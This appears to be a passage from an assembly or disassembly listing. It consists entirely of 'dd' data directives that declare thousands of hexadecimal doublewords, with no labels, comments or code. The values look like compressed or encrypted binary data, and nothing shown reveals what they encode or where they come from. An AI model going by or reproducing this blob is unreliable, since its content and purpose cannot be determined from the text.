		dd 829F5C98h, 75675875h, 0DB601D44h, 0C801E699h, 943FFAA7h
		dd 0D6577B32h, 0D7248135h, 7A58504h, 88F1B21Bh,	335D7528h
		dd 8E790017h, 91EBF02Ah, 0D8B3011Bh, 0E8EEDAD0h, 77C7C0ABh
		dd 0B013350Bh, 0A30F12B9h, 85C183D3h, 3200606Bh, 0DD11F76Ch
		dd 2012A7DEh, 0C91E879Fh, 3B83F881h, 8A310FD9h,	0A37F35BBh
		dd 39E75830h, 7447D924h, 1D031B46h, 4B94C68Eh, 0F6779DE0h
		dd 224EC15Dh, 292DB376h, 1819D1CCh, 3EAF0077h, 5B064C87h
		dd 3A07EE81h, 2B63152Ah, 18F6C4FCh, 0D508343Dh,	0B1913886h
		dd 0A71819F9h, 1DF96D00h, 8589344Ch, 912B9401h,	86602430h
		dd 80F20200h, 4BA6645h,	8B61FD29h, 88B6CEC0h, 4925C015h
		dd 301218BFh, 0E843070Ah, 0FE9D8h, 0BB508827h, 794AF562h
		dd 0E163831Dh, 1D4593C2h, 24641A0h, 0FE8B2B80h,	3ED85C7h
		dd 27DBB6C1h, 483076B7h, 0A9204141h, 16D136A8h,	9B247418h
		dd 0C50886BAh, 75912018h, 0F28181F5h, 0D04969C4h, 850F0D71h
		dd 8DD9453Fh, 0C4E96942h, 71CF00BEh, 7C7D52E2h,	590B8741h
		dd 3285FF11h, 0C40E458Eh, 66BF601Ah, 0ED0E0B10h, 4689150Bh
		dd 7C2AB888h, 0A6001D46h, 83BF21D3h, 0A016609h,	9D315F94h
		dd 0BF622BE1h, 0EBC7BF80h, 29E57490h, 11DB84Bh,	34CE13CBh
		dd 62E98714h, 996A07BDh, 89F15E37h, 71A6258Dh, 2AC50800h
		dd 2D78100h, 9076636Bh,	48580698h, 1A660CDFh, 0FF360929h
		dd 0A21815D1h, 0BD334105h, 31C806A9h, 0B70F12F3h, 0C842CBF1h
		dd 0D163C31Bh, 71625FE0h, 1D3BF39h, 578AD7B3h, 2BB88B0Fh
		dd 1D7DE863h, 0E2347442h, 0EC97301Ch, 0AD74F400h, 6688F071h
		dd 0EE804C0Fh, 0A9A60493h, 0C9BD4305h, 0FC0C0017h, 143FF5BFh
		dd 330BBE38h, 0B750FDDCh, 1AE584D6h, 80CCD01Bh,	967E948h
		dd 5D902821h, 1F290F43h, 9ED5F3FFh, 0B377BB71h,	0E5BD788Ch
		dd 8BF6857Ah, 0E258C152h, 0CCE73015h, 59406296h, 2D2262F6h
		dd 0BCFC9B6Fh, 0E1A71634h, 0C90EF4A0h, 0BF4F4D01h, 158F528Ah
		dd 40FDA520h, 0B5790922h, 14601141h, 8D9326F7h,	0D32E14C6h
		dd 0BF0B18Eh, 10E86050h, 91B6C1h, 437AD038h, 392AA182h
		dd 228C8A00h, 0C868BEE9h, 67EA2569h, 915E0799h,	0E3000942h
		dd 3A9D84F6h, 6D0E96B7h, 336158B2h, 220F8588h, 29090683h
		dd 1226C58Dh, 11B71D4Eh, 0C5D48017h, 90030F3Ah,	0F006E7E3h
		dd 1617BC13h, 13F9B344h, 5C08302h, 4570FA73h, 0FE750029h
		dd 0F78B40BBh, 0E9505090h, 9204BD66h, 0FE972645h, 17C85BCEh
		dd 0D57299C0h, 8B3EC76Eh, 406D49F8h, 0F947B0E0h, 565B1F97h
		dd 9CA6BBC2h, 4806110Bh, 107D1379h, 0D74BD27h, 148811CFh
		dd 616046C2h, 8415D134h, 4351F24h, 1204D595h, 25202AAh
		dd 0DC5B15AFh, 2E4A0778h, 55EFC93h, 6BD3FFF1h, 60F4035Ah
		dd 840D9D29h, 26C3C01Bh, 91A0A97Eh, 0D1C73145h,	7BBCFB7h
		dd 9F8B79ADh, 801C11C8h, 4C097970h, 0D6880BC0h,	32034190h
		dd 7CA360Fh, 0FA7A31C0h, 0E9569904h, 0E80D0835h, 815DC043h
		dd 6CC6ED24h, 46741FA4h, 8D027B19h, 720B54AFh, 1A0A41F9h
		dd 830EE811h, 73EABD0Bh, 0CC9DC080h, 6C4A02C6h,	525A856Fh
		dd 17A18C82h, 5BCF5F05h, 127860Bh, 1564AF47h, 8B69C460h
		dd 0EF9FB4Ch, 0E5968FF6h, 0C7558D9Dh, 2ABC89h, 0A4AF5D6Bh
		dd 61DDF248h, 0E3810A1Ch, 0E2DBAB35h, 5BB5F580h, 7E05BC3Ch
		dd 89F8566Eh, 21195C2h,	0E2E1DB0Bh, 81601053h, 9CC607EAh
		dd 0E4610D50h, 0F494898Ah, 0D101BCDFh, 0BD831819h, 0B76C15AAh
		dd 3B840F14h, 3EE9FC0Dh, 808C680Dh, 0AFE01D05h,	1C990181h
		dd 3E359826h, 1014E4CDh, 85C7CC1Ah, 8118D950h, 232CBE66h
		dd 9A2EEE9h, 1793ABF2h,	820F4584h, 4D140612h, 67C841E4h
		dd 397BB02Bh, 717D0ED9h, 3DAB7920h, 50050D04h, 0F2CE0BFDh
		dd 0B424C69Dh, 0D1D521F0h, 9011818h, 17A91476h,	14D84DCEh
		dd 4DB52BC8h, 225B016Dh, 83297914h, 4A2CCD23h, 0A6CC741Eh
		dd 1CF1A75Ah, 796DE850h, 0D7ED8200h, 5EB11814h,	2A8B1D02h
		dd 0CC60F80Bh, 5C59ECB6h, 0A74C6161h, 5DB13D46h, 0D37631D3h
		dd 0C8E90B84h, 328C296h, 441502E5h, 0DCEB0E53h,	9D935D40h
		dd 0B0587C9Ah, 8C1DECD4h, 0D0D4FC00h, 45B376C6h, 0A085097Dh
		dd 0A84570E6h, 0EE601AE4h, 0B23CF9B8h, 0BEF6009Ch, 534DBA71h
		dd 1123EBE4h, 7D3114A2h, 4400DA73h, 0B20FE6A6h,	42B49342h
		dd 0D156526h, 456A4F9Bh, 9C1C1823h, 0B8578E1Dh,	30E18205h
		dd 0BD0846A2h, 26917A9h, 0B1B15B9h, 0A5600A6Fh,	222BF27h
		dd 2B13ED5Ah, 444150D8h, 0A2E12324h, 0BB1E3016h, 0BD892005h
		dd 0CBB731ADh, 1925A04Dh, 2C73EEBAh, 0FC1870h, 284C511Dh
		dd 1EBEF81h, 0C070992Eh, 52EA32C0h, 5220E135h, 248FECBEh
		dd 2B32400Dh, 584C7859h, 0F202B298h, 3ACBFE05h,	0F83041D5h
		dd 41E91630h, 227D691Fh, 175E9045h, 0CF21C4D6h,	0C01A8858h
		dd 497DA17Fh, 9D210113h, 3DCC4513h, 62BA4DFFh, 0E42D5184h
		dd 0C3F2FB2Bh, 2DC4194h, 7F16D7DFh, 30908F0Fh, 0E6821331h
		dd 0FB9DF4DFh, 628907EEh, 0A1DB0709h, 731C1A51h, 0DA614D04h
		dd 0BAC1FCE5h, 810034EDh, 2312CAF7h, 83564584h,	1D23803Ah
		dd 45AD0038h, 0B0370BB7h, 0CDF534F7h, 42C4E5E2h, 8B66608Ch
		dd 0F4D30B00h, 0CE8AB30Dh, 0F1FB34Dh, 1FA88D01h, 58610Bh
		dd 5EC94F5Ah, 9174B632h, 0F0DA563Ah, 3529DE22h,	0A2677995h
		dd 0B97B5D7Eh, 69BD3084h, 1057AD09h, 165A017Dh,	0C4908A3h
		dd 0F68729BBh, 375D858Dh, 0CD228B69h, 8310F85Bh, 8C1CE8C8h
		dd 1F67EB05h, 0A70EFD77h, 84C8F62Fh, 26408A62h,	0BEB123ADh
		dd 62CE5B46h, 0C32B1B85h, 1A700E53h, 0ED0F0027h, 9D5BB442h
		dd 6C988237h, 0B403F520h
		dd 5417C491h, 14F9101Bh, 1746E918h, 5BB82B60h, 56180E60h
		dd 0B658E58Ah, 0DA372F70h, 1571E00h, 9C83C27h, 56FD7DADh
		dd 38001351h, 704EC4C0h, 0C919975Dh, 86DAC65Fh,	41B795h
		dd 0F2A8D791h, 0C725DC7Dh, 0FBF0C885h, 10E126BDh, 184674AAh
		dd 9482FA3Fh, 0F88B5131h, 2D75F140h, 0B2A6ADB6h, 6D1B350Bh
		dd 5344BF89h, 56BF6605h, 7AB35FEAh, 7DBD3304h, 0B414AC08h
		dd 0EEC073DAh, 0B70FE30Eh, 2FE8FB25h, 0F83F60B9h, 0B3878Bh
		dd 0C867CE04h, 8179B86Eh, 297A0304h, 2926585h, 0C80CC5Eh
		dd 11B5BD31h, 9026F8F3h, 0B64036E8h, 2EE931Dh, 0D87105C7h
		dd 56800BE9h, 2AD55634h, 0A0ED9500h, 0F98665F7h, 8D0F275Fh
		dd 2305B618h, 15F1B4B1h, 9F58EF18h, 0A8F93930h,	23152C8Ch
		dd 0A9EDBDh, 0C06ABA60h, 590F0D74h, 0D28B4B80h,	20888503h
		dd 0F665144Eh, 1E45A806h, 0A61E245h, 1AE7B966h,	334438EAh
		dd 84A59527h, 0DA26123h, 0B5301CF2h, 160C00F0h,	0DAA226D6h
		dd 2F97E958h, 4B380078h, 19271DFh, 0D5B56731h, 0F093A797h
		dd 2304BE72h, 0FDBD0160h, 9528E8BDh, 8472987Dh,	0BE6102AFh
		dd 69398EB9h, 0D3E7F8C0h, 0B8609101h, 74BA0ACFh, 5AECFD21h
		dd 0FE614CFCh, 0C8C17E8h, 42F4D255h, 0A40BDE60h, 62F6E94Ah
		dd 0E0AF6D6Eh, 531DF64Ah, 0A0BE7112h, 8BF76A05h, 0C1D9088Dh
		dd 1AA29323h, 465AD30h,	5FA83A84h, 0BDD8C126h, 78A70519h
		dd 12A76A5Ah, 2F135AA9h, 5DF70880h, 40E94FFDh, 23512A56h
		dd 0E000BA56h, 0A4109C62h, 98DA20Bh, 0E28A60D2h, 2B000551h
		dd 0B5FE6754h, 0CD0D0F16h, 0DA20E0FCh, 613F315Ah, 416993B6h
		dd 743A1B92h, 8871CBE5h, 13CCC01Ah, 0E004BF9h, 40BE4336h
		dd 0D10C54BBh, 77BCB74Eh, 0C770EE73h, 48D731ECh, 0A680219Bh
		dd 0E0DB6259h, 31727D0Ah, 0ED0481F9h, 0B94E1621h, 2D9CD996h
		dd 56C2A839h, 16A2A196h, 48E17930h, 0F1162B98h,	0F0C9930Dh
		dd 13E84E18h, 4CA9A42Dh, 3700D907h, 0E106FB9Dh,	9C128B2Fh
		dd 0EB038DEBh, 0A20B4B82h, 69E47011h, 0A4ED425Eh, 0BD5222C0h
		dd 0E7262695h, 0F1350200h, 0A7D944D7h, 0C71358A8h, 7912A0FBh
		dd 35D2004h, 2C72E052h,	4D728CB6h, 0CDFE60DDh, 8B2DD3FFh
		dd 605498F3h, 69951409h, 0E0014907h, 0E961FEBEh, 31D9EE76h
		dd 0B21F762h, 1451C902h, 42A6C7CDh, 4D25702Eh, 8E2FC38Ah
		dd 0C19D8BA8h, 0B4F80840h, 1917E9CBh, 67801B11h, 99FA312Fh
		dd 2C75A716h, 51FCC492h, 181DF19Eh, 2569004Dh, 76D8A93Fh
		dd 685CF7CDh, 1C351060h, 22BD8305h, 27DBA220h, 0C4CEE753h
		dd 6B196018h, 693700DAh, 311167BFh, 0CF6AE973h,	1F4F9C4h
		dd 0B13F7DA7h, 784CA9DBh, 0C1A13573h, 9FC0F286h, 0CE732BBAh
		dd 0BE6BF50h, 532E8D46h, 286963B0h, 80FB523Eh, 51D9A591h
		dd 6BE901B0h, 90B72165h, 0D703CC00h, 2EB4C5Ah, 295C60DDh
		dd 9958859Dh, 0D95010Ah, 14CE712Fh, 8C1BFCCEh, 20EAB800h
		dd 27882F8h, 88A4A22Ah,	243BA435h, 6929E8F2h, 0C07FED27h
		dd 833C903Bh, 0F5BF660Bh, 0ACA8530Dh, 0F300D68Ch, 9101192Eh
		dd 5A7FEAD1h, 60D5833Dh, 0A463B8A0h, 548094B9h,	0C6AB36A6h
		dd 6CEC00EFh, 87E6AE29h, 7A0B4964h, 63610C92h, 0F0A013C7h
		dd 0F6C90B86h, 60699C64h, 705C7B4Bh, 5909FE23h,	79509D0Ah
		dd 0BE120F77h, 9C7597C0h, 7E2DA9ADh, 11BF4CB1h,	611B699Dh
		dd 2113BAD8h, 4218202Eh, 97025975h, 0C2F04BBBh,	0A74E5627h
		dd 0DF817918h, 1F9C4B01h, 2FBE94Ch, 63248C05h, 90F8AE07h
		dd 66A0DA53h, 7682420h,	3E84D9BEh, 0EEDB09B0h, 17181B70h
		dd 6F70E6DEh, 0B79C1495h, 26911382h, 9A4BE8E3h,	0E1DB8AA0h
		dd 5E6BBD02h, 0B64D057h, 225DB509h, 22AB806Ch, 69C0C392h
		dd 2B40DD9h, 5126F3C9h,	4F03C05h, 0C7DBD8Bh, 7B4ECBF5h
		dd 0C5C01888h, 4843F0B2h, 0B80F5570h, 0B29C9304h, 5CD90EAFh
		dd 0D8B3FE44h, 2EF58662h, 467E93D6h, 0EBC7001Ch, 724BED4Eh
		dd 0AE6A04BFh, 0D1D58529h, 3B8B0F4Ch, 42FB4222h, 31DE0001h
		dd 0B61BC99Dh, 1B46233h, 0BF726007h, 0BADE40C3h, 0D357FF05h
		dd 0BD37D9A0h, 98D2A659h, 1F692D53h, 49916B66h,	0E9181871h
		dd 49AAB800h, 0EF45BF70h, 0F4715458h, 5EAAB889h, 0C6512610h
		dd 43D3DA82h, 4500870h,	0F78B3D3Bh, 8074A858h, 0C54061F3h
		dd 0B59F00DEh, 0C66AC7FDh, 0B81607C8h, 0BA926DA8h, 5B92A922h
		dd 0D3327031h, 0B5248D5Ah, 6E6A8DF1h, 1ECE0062h, 0EA91F8E5h
		dd 4DD25ABFh, 2627D19Eh, 9896F0E5h, 172600C5h, 0FCA4A3B1h
		dd 100BCE81h, 4F737A47h, 0F15060C7h, 4D04A1EFh,	349003B7h
		dd 284A7533h, 9B005A6Fh, 0B643CEE8h, 0AB9091BDh, 3803E92Dh
		dd 0C7BEE9h, 5B10E374h,	0B531C32Bh, 0C3B41BFCh,	5FAB2E51h
		dd 63487831h, 17A41424h, 0B7611027h, 8E950FFh, 0C08B2DF8h
		dd 105BA229h, 21C1470h,	665177D3h, 5B5E3F42h, 4B25442Ch
		dd 9DD9F89Fh, 731ADA77h, 0DCB076h, 2A70E526h, 9E064E62h
		dd 1AC0E32Dh, 0E4A77908h, 0D6814020h, 7CC46725h, 498D5A4Eh
		dd 7242504Ah, 5E167F7Ch, 0DD38B58Dh, 29B5DDD3h,	2FF2A861h
		dd 3F20E9D0h, 0A6FDFA1Dh, 22DD0D00h, 9C335550h,	0CEA6B4F3h
		dd 0D25C4h, 0ECBE6690h,	0AD099F9Bh, 184173D0h, 2E31C28Ah
		dd 1223E06h, 2C0824C8h,	0C16518E1h, 0D5598D29h,	0DBC85A75h
		dd 701609EEh, 99D90F75h, 9BA28180h, 3B28D8h, 3F909495h
		dd 7EE086AAh, 0C8005FE8h, 0C78103F6h, 5A47A663h, 8879C82Fh
		dd 8DFEEF00h, 1323FC56h, 78D00046h, 0B6376160h,	890A0CD9h
		dd 0FF5F53ABh, 34BD8D06h, 4061EAADh, 9510091Dh,	23051B81h
		dd 1610A5B5h, 9B43D412h, 7A9FC15Eh, 3BF4C108h, 6EEC4BD1h
		dd 0A73C9Bh, 0D61C29DAh, 6938449Ch, 0ABEACC8Dh,	6E83DB03h
		dd 2349B013h, 0E0FBEF93h, 4C427B7Ch, 17E8665Fh,	7470008Ch
		dd 8CE94999h, 8BE2FFF8h, 3460F077h, 1E4BDE27h, 14FE141h
		dd 249DE9B1h, 0C200B522h, 0D4C8B856h, 39DCCC6Ah, 0F40082E4h
		dd 0AFA98FEh, 0F00AD15h, 0E0D547A2h, 0EADA78h, 1F18FF3h
		dd 1A0AA808h, 24C22000h, 2B53C425h, 75FF0030h, 0C7E1F32h
		dd 300BE56h, 0CB5FA134h, 3D0779Bh, 1C8689D3h, 90A05CE0h
		dd 0D100272Ah, 37958F67h, 897E34h, 99938321h, 0D81E903Bh
		dd 4491CE00h, 0A285EF87h, 94F23CECh, 7DE7DB80h,	0A402FCD2h
		dd 0B3F71003h, 3D184AA6h, 0CE834529h, 196F72D8h, 4E941DC8h
		dd 2F031A7Ch, 754424C5h, 8F7FD87Bh, 98360096h, 0F7EFAFA8h
		dd 3C019295h, 0F4EBA1A4h, 77FC8D90h, 0A3150097h, 568A34D5h
		dd 0A1000B13h, 0C570D0C9h, 291FBEFh, 0BFB9A927h, 9E0DD4Eh
		dd 0C4036FE9h, 8ADBDE76h, 7313005Dh, 5F15187Ch,	0FE01016Bh
		dd 61E3C33Ch, 2383C8F0h, 92F189D7h, 20211B91h, 0D80AB86Bh
		dd 8870AD04h, 0A819A201h, 2E80F180h, 86EAE18Fh,	4B2F84EEh
		dd 302E2063h, 1D687931h, 1DD25CA7h, 62D3032Ch, 3800073Ah
		dd 0B189F341h, 315659B7h, 8A19DB05h, 0C81FF4D3h, 621D7A2Eh
		dd 0B5C0A725h, 0AEB11B60h, 9E0407F8h, 407DABCCh, 0DCD1C9F4h
		dd 1B717400h, 0D4CA8083h, 0E6B006Eh, 0B4A87757h, 0BC07AC4Ah
		dd 0C68B68C2h, 7301AE40h, 1619007Bh, 0C7D28C0h,	82C9E3E4h
		dd 675200EBh, 1E1A0F13h, 5F9AFB2h, 407C989Bh, 32928B96h
		dd 6F00D92Fh, 9C3AA297h, 54B2ACh, 0CFAE20A9h, 356A7EAFh
		dd 648C1F0Ch, 6B58EFh
		dd 1AD0B31Dh, 5696022h,	14AC0200h, 0E4BA7D11h, 848703EFh
		dd 0EA12832Eh, 0A3F13500h, 0E4B89839h, 0C068509Dh, 0F88958C4h
		dd 0C0846394h, 88F4C0E8h, 7800DAD2h, 9FFDF7CDh,	0F55235h
		dd 89E9E254h, 0C0AB95A0h, 0D5B55600h, 25961106h, 6C7C60FDh
		dd 8826BE0Ch, 0EB5CE513h, 0D1EC02A1h, 767900D7h, 69D32120h
		dd 34009C91h, 1F857B31h, 0AAF881Ch, 0F6B4FBCFh,	62DB08D8h
		dd 80A08194h, 15797046h, 0C4BC0012h, 2A026CCAh,	4D2ABE31h
		dd 3B00FC25h, 95E3E242h, 0C45179EAh, 800A5817h,	5EC2B9A1h
		dd 0AEA55B00h, 33EA474Ah, 3EE41E53h, 0E1D68185h, 2287DB79h
		dd 305D1811h, 534843h, 3D32E8EBh, 0BE75D2D5h, 107EDE7Ch
		dd 40A09900h, 815535D6h, 0C27B622Ah, 17230171h,	0B2B5910Fh
		dd 0A1F324h, 29AB8B4Ah,	0F7FA5A53h, 5F2437F2h, 0C4001867h
		dd 2B95F5EEh, 24BF00AEh, 2CAF0879h, 0DE4869FBh,	0DDD700E4h
		dd 0F7F1E17Fh, 65EE2699h, 0C007493Ch, 75FB4323h, 0C493E4C9h
		dd 0A50390F2h, 0BEE58A6h, 79BBBBBAh, 4EAC0120h,	3A9E954Bh
		dd 1CFCE437h, 8407AD3Dh, 47A59F6Eh, 4B6505D0h, 0DBF400D0h
		dd 0F3F68E7Ch, 0E500433Dh, 0B123C6E2h, 0FA77D8C0h, 4FB9009Dh
		dd 5FFCEAEh, 0E9065347h, 52A5CD3Eh, 66B43F72h, 1B8D3000h
		dd 6C619A96h, 35700400h, 19F66077h, 300C05C2h, 408B09DEh
		dd 636AAF9Fh, 0C43035E0h, 0C269DA7Bh, 0BB1B0014h, 1FCA62B8h
		dd 0CC76C096h, 76095F06h, 36E3C4Eh, 0C2A50F5Dh,	37EBD059h
		dd 98461700h, 3EA8409Eh, 0E6C0066h, 15868070h, 0F3601B8Ch
		dd 19ACFA27h, 0F80FC0F1h, 590F12AAh, 765F4Ch, 7A4929E2h
		dd 0A0772280h, 0C1CCF4C0h, 0F285D32Dh, 0D10F80CAh, 0A69B1983h
		dd 2FB0024Fh, 766E44DEh, 51BBD740h, 0EA49184Fh,	43C218BEh
		dd 0AB50E44h, 3D000898h, 8DF7614Ch, 0A3790200h,	0ED4346AEh
		dd 8100E83h, 809C17B6h,	0D49FBBCDh, 0BF00288Ah,	69FD814Ah
		dd 904DD11Ah, 7349003Dh, 3AAD177Dh, 0E8001312h,	672720EFh
		dd 0A0D6Fh, 63191CB4h, 0A805086Ch, 0A211F100h, 0D145259Eh
		dd 98430FD6h, 16C01F27h, 2A0EE90h, 0BFB82332h, 80D380D1h
		dd 221248Ah, 178833CBh,	0D8841C02h, 41998723h, 0F8369E93h
		dd 9B0073DDh, 8F4F47A1h, 4C04B7FCh, 6480AEE2h, 0FE6FF861h
		dd 0A3E0D628h, 4337E50Fh, 0E88000D9h, 60EC0B7Eh, 0D77A1ADFh
		dd 0C200E965h, 84DBD1A2h, 2F978Ch, 0CB6CD62Ch, 0C4221CEBh
		dd 1F901906h, 0E6360DF7h, 0B5B40014h, 0EA7FFD67h, 44EE60E3h
		dd 1135B300h, 0D445CE70h, 0ED361EACh, 0C05CE6Fh, 0C53A9E5h
		dd 6BE472DAh, 10137100h, 0A61AFAB9h, 1C79A7h, 193ECEFFh
		dd 0AB29BD23h, 6ED8E600h, 60D15AE3h, 52416038h,	1C8FF947h
		dd 36A8B1Ch, 0F900A293h, 787BD9D3h, 65CD00C2h, 0A740C62h
		dd 7739E98Ch, 0AE7D8BCEh, 331604DEh, 0E1DA8A8Dh, 59206957h
		dd 7781701h, 0D26050DFh, 9D533600h, 4A745A3h, 0E20A7B18h
		dd 489BE91Fh, 95876931h, 1D73860Ch, 258B810Ch, 0FBBC26h
		dd 2EF78C85h, 0CF5131E8h, 2C835D07h, 67E06358h,	8A2FD9h
		dd 0F04E4820h, 0AA686252h, 0BA02B075h, 0DE42390Fh, 0E574E074h
		dd 257C007Fh, 0BDB78666h, 0E6FCB45Fh, 0D8037170h, 0E7B107FAh
		dd 0CF905099h, 0D6D00EC0h, 90927578h, 59957E53h, 0B01C0F0Bh
		dd 9C4E20ADh, 168DEDE6h, 0DDD48Ah, 63CBC032h, 0B500AA60h
		dd 9E944A4Dh, 17F3538h,	6C222587h, 0F80B0E78h, 5D125455h
		dd 0A9B4C581h, 3ED7683h, 5C242C87h, 18A66268h, 0F80C893Ch
		dd 11138D32h, 30880F1Ch, 0B81E049Eh, 4A2B33C0h,	3EF68A05h
		dd 0C186BBEAh, 63906858h, 83E224F0h, 5B9D30DCh,	20A8EC5Dh
		dd 18F1296h, 58C75DD8h,	5BD134FFh, 5343C481h, 578E0F8Bh
		dd 0C78AE789h, 0C06210Ch, 0E9C43C87h, 0FC50C301h, 72D65AFFh
		dd 1DD79E4h, 2EC5B876h,	0D7030616h, 0C053E0F8h,	88198C00h
		dd 0F31739DAh, 29253D22h, 74F4BE07h, 38FCD1D5h,	6518C098h
		dd 6BBBA00h, 0A9755276h, 8AF21Dh, 7B3329B3h, 5EAC03B7h
		dd 8913F000h, 0B57D534h, 586B003Fh, 6C30EB91h, 0D700773Bh
		dd 89C18B41h, 972D7DBDh, 0C9F7703Bh, 0B7B7515Ah, 286D01EEh
		dd 2E43A3F6h, 0F8BF4633h, 5B15A7h, 8B525090h, 66310FF9h
		dd 3D5A35FAh, 10600EC7h, 7F02EE78h, 348C5F90h, 646EAE71h
		dd 8589D407h, 2F69CA1Dh, 18031884h, 0A0311EA2h,	0A48A0FCBh
		dd 0BE660B84h, 0B6D09D1Ah, 1BBB797h, 8984194Bh,	98407E8Dh
		dd 0FCC4BF90h, 502A2D57h, 0A501D544h, 4D4106Ch,	6F7FF999h
		dd 28E3A18h, 0C5B652Ah,	0F4BCF493h, 0DDD95900h,	1E8FEB96h
		dd 2C6E30F4h, 0F88B664Ah, 820E1A97h, 9172D16h, 6DA5FF53h
		dd 0D9C74191h, 954C2003h, 0D3FF01E9h, 87B8FC39h, 91402D00h
		dd 0B2A3D782h, 0CEBECA60h, 0BFE118C7h, 0B52D0961h, 590B09EDh
		dd 95898438h, 0E948F0B9h, 628E5F5Eh, 97312810h,	2383949Ah
		dd 9038BBF9h, 4F9B4B15h, 0CDA59D21h, 6702405Dh,	0B5182956h
		dd 5E5C2199h, 499D348Bh, 0B84FADF9h, 0E76F383Eh, 0B8372305h
		dd 0F5990478h, 81660017h, 9756F1EEh, 0AE5B8309h, 4B31ECD8h
		dd 807E93B9h, 5C9B1D5Eh, 39951E80h, 2D0745E3h, 29AFE186h
		dd 1CED8594h, 1B8044Fh,	0C4830E2Ch, 85B82F92h, 26B10E88h
		dd 0E9011049h, 87BD6C85h, 1B8AC7F0h, 0B02F937h,	0BAB4D6BDh
		dd 10236D28h, 4F23B1B5h, 4078588h, 61A6991Bh, 0EC80C47Dh
		dd 0A09C43Dh, 4E335F0Ah, 40F88A15h, 0ACCBB800h,	48F295E1h
		dd 0A190BD60h, 0B700BA17h, 8A2C1F16h, 1AC22A1h,	5287B46Eh
		dd 6D0DBD31h, 0BF5301A8h, 178D3571h, 2F8D9CDFh,	660C213Eh
		dd 1136703Ch, 0A64C2704h, 6BBF5EFCh, 3E1A23B0h,	0CA58B680h
		dd 897EF89Ch, 0E8BD9D29h, 5AF9A53Ah, 0DB8C2D54h, 0AC062CDh
		dd 141C16A2h, 0DB302755h, 0A6202D17h, 795125B0h, 50764976h
		dd 87D91340h, 4D5E07E1h, 6060F89Eh, 0C768901h, 8FBDDC1Bh
		dd 529D256h, 3A03E05Fh,	51506F25h, 0E7C6AD4Ch, 8E41250Fh
		dd 805B49B6h, 9061D76Dh, 697009BEh, 5714F94h, 0D12073A8h
		dd 0E7E92A2Ah, 9BB05F80h, 9E52C56Dh, 2DB1B504h,	8170E604h
		dd 3173D50h, 6891F231h,	9771E4B2h, 3CC076EDh, 7CD2D42h
		dd 3940459Ch, 820FC2A0h, 8D128946h, 0B0EC0E2Dh,	29D9B093h
		dd 0C1EEB395h, 9B89598Dh, 7E5BC38Bh, 1B92C70h, 0A8FB0F25h
		dd 0D9F57536h, 0E546498Bh, 1B242E04h, 14E9B881h, 0BD27302Bh
		dd 1A973499h, 8078B505h, 3268F8D6h, 922FADE7h, 89148B50h
		dd 0DC1F748Eh, 85144200h, 0E9E4ED91h, 2FDECF8h,	57D68060h
		dd 0BB769D23h, 0A0BD6192h, 138C15ACh, 0E4E941BAh, 32004476h
		dd 8B181ECBh, 907F67h, 6B750430h, 11FE1D6h, 8D885F50h
		dd 4E2EC92Fh, 4F41BCC2h, 980F362Eh, 0E16AA8E0h,	640050EBh
		dd 0EF539370h, 16F0D8D3h, 0B4E95BA9h, 210068BBh, 7BD6F5C6h
		dd 758C93h, 0E24CE03h, 40A427B9h, 0E6B0AE25h, 80490397h
		dd 24384504h, 18682EF8h, 14AAA504h, 8180E9EDh, 41819501h
		dd 97B401Eh, 184B3185h,	44297C8Ch, 0B52F8902h, 0E84841FDh
		dd 14E8948h, 119566EAh,	0C8391AD3h, 7378B1C7h, 0F7DFA102h
		dd 0C9D6CB0Ah, 590034B6h, 85120161h, 85320381h,	9D8044F8h
		dd 97E0894Dh, 7F3E0C98h, 50CA27C6h, 7C7203E0h, 414A5E5Ch
		dd 3F873A27h, 70F6C325h, 0A965AE0h, 9C92F9F8h, 0F6BF6609h
		dd 0F19A1194h, 15899620h
		dd 0FC176D85h, 0C07A27C0h, 0D5008BF6h, 57188A0Dh, 746FC4Bh
		dd 0ACA562CBh, 58D492FBh, 57EF574Dh, 2A090712h,	6FFB7C21h
		dd 0D54D50F1h, 6A991A5Eh, 10CDED01h, 0BD48247Ah, 97D3B821h
		dd 10EB422h, 25F43DD6h,	0A7C2E5F5h, 0A0E88098h,	4F9F9800h
		dd 9EAED16Dh, 61D41E9Bh, 181D01E3h, 2EF59240h, 99AA9B22h
		dd 9A2FFEF7h, 0C71AC8E9h, 6877E0FDh, 3D58D53Bh,	9D950B05h
		dd 2FE8D213h, 87470E79h, 0DA601BE4h, 0C504152Dh, 0E7F68451h
		dd 292593ACh, 3C17C2C5h, 0A200A07Eh, 0D5C1FB56h, 0DF2A687Bh
		dd 0DEB092B4h, 6A400445h, 64E92888h, 84091329h,	0C625BB2Ah
		dd 7FB86EBDh, 5946AA04h, 0F1B936C2h, 80709B4Ah,	6423FFD9h
		dd 698605E5h, 0FC969CE8h, 10E6804Bh, 1325238Eh,	0F485C751h
		dd 0D112730Ah, 0F9E11A36h, 16986E2Bh, 0FFF39852h, 2512E24Ch
		dd 0CEF7E621h, 0ACA7162Bh, 0AEDF02A0h, 99E87C04h, 6BC2F25h
		dd 636613D2h, 0E5B10973h, 923E6201h, 1D91EE04h,	0D1B4900Ch
		dd 0F6AD049Ah, 4FDF9E5h, 4B0053B8h, 112D9EE8h, 40A331Bh
		dd 90BE663Fh, 0C67ADB5Dh, 4238CDh, 0D78110C7h, 3B92334Dh
		dd 6316F96h, 406AE8FFh,	78A87D86h, 82167E88h, 120455CEh
		dd 5AED5EFEh, 8816CBB8h, 7CA289FBh, 0C9B53109h,	0A5B59413h
		dd 290C8858h, 80E2613h,	0FC070C81h, 4D9F852h, 5E0635AFh
		dd 1D4E2C33h, 0B3D64D41h, 4473F8CDh, 4D850800h,	0D72E153h
		dd 0A902F100h, 0EBABA1A5h, 0A3B90982h, 0D2D359ACh, 281C8E70h
		dd 24AAF72Dh, 18319249h, 734E0E52h, 0F2175E78h,	89A1CFE9h
		dd 920DBDFCh, 0CEE8757Fh, 4CC0394Bh, 0A1F4411h,	0ADDE6300h
		dd 60E9B783h, 0F390BFF9h, 9403D5E0h, 0FC61D750h, 0EBEE13B4h
		dd 3077E8F6h, 3EE1060h,	1CB94BCAh, 9D3185BAh, 211ED06Dh
		dd 54D1D8Dh, 1C3CECECh,	408E55CDh, 0F5074B1h, 5862FEBFh
		dd 5E20495Ah, 0EE00F4E4h, 411CC24Fh, 4F82FC27h,	0D2682489h
		dd 8B0622B9h, 0D34F95C5h, 0C73D6E40h, 80EF012Ah, 0E183F78Bh
		dd 293C3001h, 80B7BDB5h, 0A2718F64h, 5E2E6C2Bh,	0CD161F92h
		dd 908B744Ah, 5595C56Eh, 3E44C7B8h, 9F8D8623h, 74201567h
		dd 9052862h, 6061897Ch,	12DCB6FEh, 34837B66h, 0E07EF620h
